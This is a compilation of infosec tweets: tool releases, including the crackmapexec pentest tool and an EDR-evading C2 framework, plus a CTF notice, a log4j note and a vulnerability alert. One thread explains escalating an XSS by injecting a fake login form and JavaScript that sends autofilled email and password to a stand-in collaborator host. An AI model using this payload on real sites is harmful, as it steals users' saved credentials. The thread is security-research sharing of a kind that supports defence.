New Tool Drop: #kubeRadar
A #Kubernetes recon & audit tool.
Get insights into:
• Nodes, Namespaces
• RBAC, NetPols
• Secrets, Pod configs & more
Supports #EKS, #AKS & local clusters.
https://t.co/2qeSg4Fwk8
#AppSec#InfoSec#Hacking
Someone just sent me an XSS to collaborate on. It was an interesting case so I thought I'd tweet about it.
They'd found an xss in https://t.co/CkURxK6bwR, which was a subdomain that is only used to authenticate users.
They were having trouble escalating the XSS because this subdomain has no access to the main application at https://t.co/WfO0XAPrLD, or the API it interacts with, which is at https://t.co/GoBAfEGRfL.
I immediately thought of something that I'd heard recently (maybe on @ctbbpodcast?) where you can use an XSS to steal auto-filled plaintext credentials, so I thought I'd try to replicate this.
First, injected a fake login form, like this:
<form><input id="email" type="text"><input id="password" type="password"></form>
This is good enough to have a password manager automatically fill the credentials if it is injected into any page on the correct domain.
Now we just needed to send the credentials to the attacker server, I wrote some basic JS to do this:
setTimeout(function(){
httpRequest = new XMLHttpRequest();
https://t.co/cSQ62lEWXN('GET', 'https://BURP_COLLABORATOR?'+document.getElementById("email").value+"="+document.getElementById("password").value);
httpRequest.send();},2000)
The timeout is required because it takes a while for the password manager to autofill the passwords.
Then I used the XSS to inject the form, and the JavaScript, and voila! Plaintext credentials.
This isn't a new technique, I can see there are a bunch of other articles about it - but it's the first time I've exploited an XSS to steal creds from a password manager like this, so I figured some others would find it interesting.
New release of crackmapexec is out ! 6.1.0🥳
This version now support of a new protocol : WMI by @Memory_before ! If the SMB port is filtered, you can still pwn3d everything !! 🔥
Quick list of improvements 🔽
- CME now works against Windows 2003 and Windows 7 (it was broken) 🖥️
- The RDP module has been improved a lot 🦖
- The WinRM protocol has been updated to support codecs 🛃
- The module enum_av can detect more AV 🛂
- Colors has been added on CME to highlight some misconfigurations (smbv1, smb signing) 🟩🟥
- Hash can be exported as hashcat format from cmedb thanks to @al3x_n3ff !
- Audit mode can now reveal the first X chars thanks to @Kahvi0xff
- You can dump IIS appool credentials if configured to work with local or domain users @Shad0wCntr0ller
- A new module WCC from @__fpr to quickly check various Windows configurations and export them 📝
- List all DC IP (usefull to find old dc on other subnet)
- Enumerate and identify Trust Relationships on domain @Shad0wCntr0ller
And also many fix ! 🫡
▶️ Big kudos to @Memory_before for all contributions to this project !
▶️ Thanks to @al3x_n3ff for all the reviews over this release ! 🥰
▶️ Also big thanks to @M4yFly for GOAD lab access
It wouldn't have been such and amazing release without them 🫡
🪂
Full changelog 🔄
https://t.co/iOqS17v7s7
AM0N-Eye
AM0N-Eye is an advanced #RedTeam & Adversary Simulation Software for C2 operations, featuring opsOpec tools and techniques for AV/EDR evasion, shellcode generation, persistence, BOF, and payload generation.
• Linux, MacOS and windows c2 serv… https://t.co/hR8WWeCkqF
Amazing story🥲:
A guy from our Discord found a poor cat in the garden. The cat had an animal RFID tag implant (FDX-B 134kHz), so he scanned it with Flipper, found the cat's owner via the local animal ID database, and they were reunited Turned out that 🐈 was missing for 2 years!
🎉New Website published🎉
🎁To celebrate the launch of the new website, we are giving away three annual Burp Bounty Pro licenses!
👉To participate you have to retweet and like. The winners will be announced on September 30.
👉https://t.co/DXxo2SKrY7
After 18 months of battling through restrictions, openings, closures and everything between, we are really excited to announce our event will be going ahead this year on 10/11th Sept. There will be more information coming soon, so stay tuned. Thankyou for all your support.
from @BlackHatEvents USA 2016:
A Journey From #JNDI/LDAP Manipulation to Remote Code Execution Dream Land by @pwntester and @olekmirosh
https://t.co/LbI7BTodtE
now the exploit vector presented in 2016 is the #log4jRCE.
attached slide #11 from the presentation below. :)
❗ ALERT ❗A vulnerability has been identified in certain versions of Zoho ManageEngine ServiceDesk Plus. Exploitation of this vulnerability could allow an unauthenticated cyber actor to perform remote code execution on an unpatched system. Advice at: https://t.co/3SyJhdyX0r
YAS CTF is BACK !!! Registrations are now OPEN.
REGISTRATION IS FREE and THE GRAND PRIZES WILL BE REVEALED SOON.
Go Grab Your Spots Now!!!! https://t.co/lvq5ckdf2O
Registration is open until 26th Nov 2021 10:00 PM IST. 1st prize A$2000 in cash!!
#cybersecurity#ctf